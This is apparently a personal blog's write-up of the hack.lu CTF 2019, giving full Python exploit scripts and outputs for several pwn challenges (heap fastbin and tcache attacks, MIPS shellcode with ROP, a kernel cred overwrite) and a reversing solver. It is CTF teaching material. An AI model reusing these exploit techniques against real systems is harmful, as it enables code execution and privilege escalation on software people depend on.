CTFするぞ

CTF以外のことも書くよ

hack.lu CTF 2019 Writeup

I played hack.lu CTF 2019 in zer0pts. Although I couldn't play it full-time as it was in weekdays, I managed to solve some challenges after school. We got 1709 points and reached 27th place.

f:id:ptr-yudai:20191024194557p:plain

It was a fun CTF and I enjoyed it. Thank you for hosting the CTF. I hope it'll be held in weedend next year.

Here is the tasks and solvers for some challenges I solved.

[pwn 381pts] TCalc

We're given a 64-bit ELF and its source code.

$ checksec -f chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   79 Symbols     Yes      0               2       chall

It's a heap challenge of calloc which is just an average calculator and there seemed to be no vulnerability at first glance. However, I found the binary doesn't check index bound even though the source code has. I don't know why this is happening. Maybe optimization problem? [Added] The challenge author told me the trick. You can see the following index check in the given C code.

(0 <= idx < ARR_LEN)

This is recognized like this:

(0 <= idx) < ARR_LEN

Since (0 <= idx) must be 0 or 1, this is equivalent to one of the following two statement:

(0) < ARR_LEN
(1) < ARR_LEN

which is always true!!

Thus, we have OOB vulnerability and the array is located on the heap. So, we can see any addresses on the heap as a pointer to a number array. The problem is the first element of the array is used as its size. Since tcache doesn't link to the chunk head but the data region, any freed chunk won't point to an appropriate array whose size is proper.

However, any chunks after freeing 7 chunks will be linked into fastbin and it'll never use tcache because of calloc. Fastbin fd points to the chunk head and we can prepare a proper size there because it's data region of the previous chunk. We can leak heap address and libc address in this way by calculating average.

After that is simple. As we have OOB, we can do a simple fastbin attack to overwrite __malloc_hook. However, any of the one gadgets didn't work and I decided to use system function. Since we can specify any size for the array, we can set rdi to an arbitrary address aligned by 8. There possibly exists a string sh which is located at such an address in libc.

from ptrlib import *

def new(cnt, nums):
    sock.sendlineafter(">", "1")
    sock.sendlineafter(">", str(cnt))
    for num in nums:
        sock.sendline(str(num))
    return

def show(index):
    sock.sendlineafter(">", "2")
    sock.sendlineafter(">", str(index))
    sock.recvuntil(": ")
    return float(sock.recvline())

def delete(index):
    sock.sendlineafter(">", "3")
    sock.sendlineafter(">", str(index))
    return

"""
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc_main_arena = 0x3ebc40
sock = Process("./chall")
one_gadget = [0x10a38c, 0x4f322, 0x4f2c5][1]
"""
libc = ELF("./libc.so.6")
libc_main_arena = 0x1c09e0
sock = Socket("tcalc.forfuture.fluxfingers.net", 1337)
one_gadget = [0xeafab, 0xcd3b0, 0xcd3ad, 0xcd3aa][1]
#"""
for addr in libc.find("sh\x00"):
    if addr % 8 == 0:
        libc_binsh = addr
        break
else:
    logger.warn("'sh' not found")
    exit()

offset_tcache = (0x555555559010 - 0x555555559260) // 8
offset_eostdi = (0x55555555a2d0 - 0x555555559260) // 8

# leak heap base
for i in range(7):
    new(2, [0, 0]) # 0
    delete(0)
logger.info("tcache is full")
new(2, [0, 2]) # 0
new(2, [0, 0]) # 1
new(2, [0, 0]) # 2
new(0x420 // 8, [0 for i in range(0x420 // 8)]) # 3
new(2, [0x71, 0]) # 4
new(0x60 // 8, [0x21 for i in range(0x60 // 8)]) # 5
for i in range(7):
    new(0x60 // 8, [0x21 for i in range(0x60 // 8)]) # 6
    delete(6)
new(4, [1, 2, 3, 4]) # 6
for i in range(3):
    delete(i)
heap_base = int((show(offset_eostdi + 4 * 9) * 2 - 0x21) - 0x13a0)
logger.info("heap base = " + hex(heap_base))

# leak libc base
delete(3)
new(2, [heap_base + 0x1400, 2]) # 0
libc_base = int(show(offset_eostdi + 4 * 9 + 1) * 2 - 0x431) - libc_main_arena - 96
logger.info("libc base = " + hex(libc_base))

# fastbin corruption attack
delete(5)
delete(0)
new(2, [heap_base + 0x1850, 0]) # 0
delete(offset_eostdi + 4 * 9 + 1)
new(12, [0x71, libc_base + libc.symbol("__malloc_hook") - 0x23] + [0]*10)
new(12, [0]*12)
#target = libc_base + one_gadget
target = libc_base + libc.symbol("system")
x = (target << (3*8)) & ((1 << 64) - 1)
if x >> 63: x = -((((1 << 64) - 1) ^ x) + 1)
new(12, [0, x, target >> (8*5)] + [0]*9)
logger.info("__malloc_hook done")

# get the shell!
sock.sendlineafter(">", "1")
sock.sendlineafter(">",  str((libc_base + libc_binsh) // 8 - 1))
sock.interactive()

First blood!

$ python solve.py 
[+] __init__: Successfully connected to tcalc.forfuture.fluxfingers.net:1337
[+] <module>: tcache is full
[+] <module>: heap base = 0x55aa94bc0040
[+] <module>: libc base = 0x7f287a6ee000
[+] <module>: __malloc_hook done
[ptrlib]$ cat flag.txt
[ptrlib]$ flag{easy_f0r_thee:_arb1trary_fre3}

[pwn 215pts] No Risc, No Future

It's a 32-bit ELF for MIPS architecture.

$ checksec -f no_risc_no_future
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   1672 Symbols     Yes    0               39      no_risc_no_future

I've never tried MIPS exploit but it's quite simple. The binary has a simple stack overflow and PIE and DEP is disabled. Be noticed it's little endian and we have to prepare a shellcode for it.

from ptrlib import *

elf = ELF("./no_risc_no_future")
sock = Socket("noriscnofuture.forfuture.fluxfingers.net", 1338)

got_read = 0x00490394
got_puts = 0x00490398
rop_popper = 0x400f24
rop_csu_init = 0x400f04
shellcode  = b"bi\t<//)5\xf4\xff\xa9\xafsh\t<n/)5\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd'  \xa0\x03\xfc\xff\xa0\xaf\xfc\xff\xbd'\xff\xff\x06(\xfc\xff\xa6\xaf\xfc\xff\xbd# 0\xa0\x03sh\t4\xfc\xff\xa9\xaf\xfc\xff\xbd'\xff\xff\x05(\xfc\xff\xa5\xaf\xfc\xff\xbd#\xfb\xff\x19$'( \x03 (\xbd\x00\xfc\xff\xa5\xaf\xfc\xff\xbd# (\xa0\x03\xab\x0f\x024\x0c\x01\x01\x01"

print(disasm(shellcode, arch="mips", endian='big', returns=str))

# leak canary
sock.send("A" * 0x41)
canary = b'\x00' + sock.recvline()[-3:]
logger.info(b"canary = " + canary)

# rop
for i in range(8):
    sock.send("A" * 0x41)
    sock.recvline()
payload = b'A' * 0x40
payload += canary
payload += p32(0xdeadbeef)
payload += p32(rop_popper)
payload += flat([
    b'A' * 0x1c,
    p32(got_read),                    # s0
    p32(0),                           # s1
    p32(0),                           # s2 = a0
    p32(elf.section(".bss") + 0x100), # s3 = a1
    p32(0x200),                       # s4 = a2
    p32(1),                           # s5
    p32(rop_csu_init),                # ra
])
payload += b'A' * 0x34
payload += p32(elf.section(".bss") + 0x100)
assert len(payload) < 0x100
sock.send(payload)
sock.recvline()

import time
time.sleep(1)
sock.send(shellcode)

sock.interactive()

Good.

$ python solve.py 
[+] __init__: Successfully connected to noriscnofuture.forfuture.fluxfingers.net:1338
0:      lui     $t1, 0x6962
4:      ori     $t1, $t1, 0x2f2f
8:      sw      $t1, -0xc($sp)
c:      lui     $t1, 0x6873
10:     ori     $t1, $t1, 0x2f6e
14:     sw      $t1, -8($sp)
18:     sw      $zero, -4($sp)
1c:     addiu   $sp, $sp, -0xc
20:     add     $a0, $sp, $zero
24:     sw      $zero, -4($sp)
28:     addiu   $sp, $sp, -4
2c:     slti    $a2, $zero, -1
30:     sw      $a2, -4($sp)
34:     addi    $sp, $sp, -4
38:     add     $a2, $sp, $zero
3c:     ori     $t1, $zero, 0x6873
40:     sw      $t1, -4($sp)
44:     addiu   $sp, $sp, -4
48:     slti    $a1, $zero, -1
4c:     sw      $a1, -4($sp)
50:     addi    $sp, $sp, -4
54:     addiu   $t9, $zero, -5
58:     not     $a1, $t9
5c:     add     $a1, $a1, $sp
60:     sw      $a1, -4($sp)
64:     addi    $sp, $sp, -4
68:     add     $a1, $sp, $zero
6c:     ori     $v0, $zero, 0xfab
70:     syscall 0x40404

[+] <module>: b'canary = \x00n\xea\xd2'
[ptrlib]$ cat flag
flag{indeed_there_will_be_no_future_without_risc}

[pwn 202pts] Baby Kernel 2

It's a kernel challenge and the module is simple. It has function to read/write from/to arbitrary addresses. So, we just need to find and overwrite uid (fsuid?) to null for cred.

from ptrlib import *

def read(address):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(">", hex(address)[2:])
    sock.recvuntil(": ")
    return int(sock.recvline(), 16)

def write(address, value):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(">", hex(address)[2:])
    sock.sendlineafter(">", hex(value)[2:])
    return

#sock = Socket("localhost", 1234)
sock = Socket("babykernel2.forfuture.fluxfingers.net", 1337)
sock.recvuntil("-\r")

symbol_init_cred = 0xffffffff8183f4c0
symbol_current_task = 0xffffffff8183a040

addr_current_task = read(symbol_current_task)
logger.info("current_task = " + hex(addr_current_task))

addr_cred = read(addr_current_task + 0x400)
logger.info("cred = " + hex(addr_cred))

for i in range(1, 9):
    write(addr_cred + i*8, 0)

sock.interactive()

It took a while to solve this challenge as I've never done kernel challenge before :P

$ python solve.py 
[+] __init__: Successfully connected to babykernel2.forfuture.fluxfingers.net:1337
[+] <module>: current_task = 0xffff888003370000
[+] <module>: cred = 0xffff88800338f480
[ptrlib]$  
0
Thanks, boss. I can't believe we're doing this!
flux_baby_2 ioctl nr 902 called
Amazingly, we're back again.
----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> 4
[ptrlib]$ 4
Which file are we trying to read?
> /flag
[ptrlib]$ /flag
Here are your 0x35 bytes contents: 
flag{nicely_done_this_is_how_a_privesc_can_also_go}}

[pwn 434pts] Schnurtelefon

We're given a client and storage binary.

$ checksec -f client
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   85 Symbols     Yes      0               12      client
$ checksec -f storage
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   87 Symbols     Yes      0               12      storage

The storage binary has a simple double free vulnerability as it doesn't write null after freeing a chunk but the client handles this properly. As we have access to the client, we need to control the server over the client.

The server has one more vulnerability. When the chunks are full, it allocates a new chunk and put it as the 17th element. The client also has this vulnerability. In the client the 17th element overlaps with name and we can edit the name. The client's second vulnerability is a simple OOB. So, we can still double free in the server by editing the least byte of name and delete 17th element.

By using this primitive, leaking heap and libc addresses is not that hard. The problem is how to leak data over the socket. Even if we can get the shell on the storage, we need to send the result back to the client and then to our computer. I tried several network ways such as nc, wget, curl, ping and /dev/tcp but none of them worked. We need to write the result to the socket in the format that the client can understand. After freeing a chunk, the client gets the result over the socket and checks if the consecutive 2 byes starting from the offset 0x10 equals to OK. If we can write this "result" packets, we can leak anything using "get note" as it won't check the result anymore.

I'd been stuck here for hours and finally found the fd for the socket is 7. We need to prepare a large chunk which has our bash script. My bash script prints the proper "result" packets and then just cat flag. (I found the file name after trying ls in the same way.)

from ptrlib import *
import os

remote = True
if remote:
    fd = 7
else:
    fd = 4

# leak latter of the flag
cmd = "printf %16sOK%60s 1 2 3 $(cat flag)$(cat flag)$(cat flag)$(cat flag)>&{}\x00".format(fd)
# leak former of the flag
cmd = "printf %16sOK%46s 1 2 3 $(cat flag)$(cat flag)$(cat flag)$(cat flag)>&{}\x00".format(fd)

assert 0x30 < len(cmd) <= 0x50

def add(data):
    sock.sendlineafter("exit\n", "1")
    sock.sendafter("?\n", data)
    return

def delete(index):
    sock.sendlineafter("exit\n", "2")
    sock.sendafter("?\n", str(index))
    return

def get(index):
    sock.sendlineafter("exit\n", "3")
    sock.sendlineafter("?\n", str(index))
    return sock.recvline()

def rename(name):
    sock.sendlineafter("exit\n", "4")
    sock.sendafter("?\n", name)
    return

libc = ELF("./libc-2.27.so")
libc_main_arena = 0x3ebc40
if not remote:
    if os.path.exists("/tmp/socket1"):
        os.unlink("/tmp/socket1")
    server = Process(["./storage", "1"])
    sock = Process(["stdbuf", "-i0", "-o0", "./client", "1"])
else:
    sock = Socket("schnurtelefon.forfuture.fluxfingers.net", 1337)

# name
sock.sendafter("?\n", "\xff" * 8)

# fill storage
for i in range(17):
    if i == 1:
        add(cmd[:0x20])
    elif i == 2 and len(cmd) > 0x40:
        add(cmd[0x30:])
    else:
        add("A" * 0x20)
logger.info("storage: OK")

# prepare fake chunks
for i in range(8):
    add(p64(0) + p64(0x31))
logger.info("fake chunks: OK")

# heap leak
rename(b'\xc0')
delete(15)
delete(16)
add("A") # 15
add("B") # 16
delete(14)
delete(15)
heap_base = u64(get(16)[:8]) - 0x590
logger.info("heap base = " + hex(heap_base))

# libc leak
rename(p64(heap_base + 0x2f0))
delete(16)
add("Hello") # 14
rename(p64(heap_base + 0x5c0))
delete(16)
add(p64(heap_base + 0x2e0)) # 15
add("dummy")
add(p64(0) + p64(0x431)) # 16
delete(0)
libc_base = u64(get(14)[:8]) - libc_main_arena - 96
logger.info("libc base = " + hex(libc_base))

# prepare shell string
rename(p64(heap_base + 0x5c0))
delete(16)
rename(p64(heap_base + 0x5c0))
delete(16)
rename(p64(heap_base + 0x5c0))
delete(16)
add(p64(heap_base + 0x340)) # 0
add("dummy") # 16
add(cmd[0x20:0x40]) # 16
logger.info("shell script: OK")

# tcache poisoning
rename(p64(heap_base + 0x5c0))
delete(16)
rename(p64(heap_base + 0x5c0))
delete(16)
add(p64(libc_base + libc.symbol("__free_hook"))) # 16
add("dummy123") # 16
add(p64(libc_base + libc.symbol("system"))) # 16

# run!
logger.info("running script......")
rename(p64(heap_base + 0x320))
delete(16)
print(get(0))
print(get(0))
print(get(0))
print(get(0))
print(get(0))
print(get(0))
print(get(0))
print(get(0))

if remote:
    sock.interactive()
else:
    sock.interactive()
    server.close()

Perfect!

$ python solve.py 
[+] __init__: Successfully connected to schnurtelefon.forfuture.fluxfingers.net:1337
[+] <module>: storage: OK
[+] <module>: fake chunks: OK
[+] <module>: heap base = 0x55e661bf9000
[+] <module>: libc base = 0x7fddf3d79000
[+] <module>: shell script: OK
[+] <module>: running script......
b'               3OKflag{i_swear_t1: store note'
b'heap_challenge}flag{i_swear_this1: store note'
b'p_challenge}flag{i_swear_this_is1: store note'
b'hallenge}flag{i_swear_this_is_th1: store note'
b'lenge}\xc2\x00\x00\x00\x00\x00\x00\x00\xe8h\x16\xf4\xdd\x7f\x00\x00OK\x00\x00\x00\x00\x00\x00\x00\x001: store note'

$ python solve.py 
[+] __init__: Successfully connected to schnurtelefon.forfuture.fluxfingers.net:1337
[+] <module>: storage: OK
[+] <module>: fake chunks: OK
[+] <module>: heap base = 0x56526c473000
[+] <module>: libc base = 0x7faa2e609000
[+] <module>: shell script: OK
[+] <module>: running script......
b'             2               3OK1: store note'
b's_is_the_last_heap_challenge}fla1: store note'
b's_the_last_heap_challenge}flag{i1: store note'
b'he_last_heap_challenge}flag{i_sw1: store note'

[rev 197pts] VsiMple

It's a 64-bit PE. The binary constructs a vtable in the main function and check our input by using the function table.

f:id:ptr-yudai:20191024213830p:plain

The above screenshot shows the check function. It fails when the return value is 2. There are 3 types of functions in the vtable.

Comparator:

f:id:ptr-yudai:20191024214011p:plain

Store:

f:id:ptr-yudai:20191024214114p:plain

Xor:

f:id:ptr-yudai:20191024214201p:plain

It seems to be checking flag[i] ^ key[i] == answer[i] byte by byte. I wrote a simple decoder in Python.

with open("VsiMple.exe", "rb") as f:
    f.seek(0x22248)
    buf = f.read(0x100)

flag = ""
ofs = 0
for i in range(0x2a):
    a = buf[ofs]
    b = buf[ofs + 2]
    ofs += 6
    flag += chr(a ^ b)
print(flag)
$ python solve.py 
flag{br34k1ng_th3_s1mul4t1on_m4tr1x_style}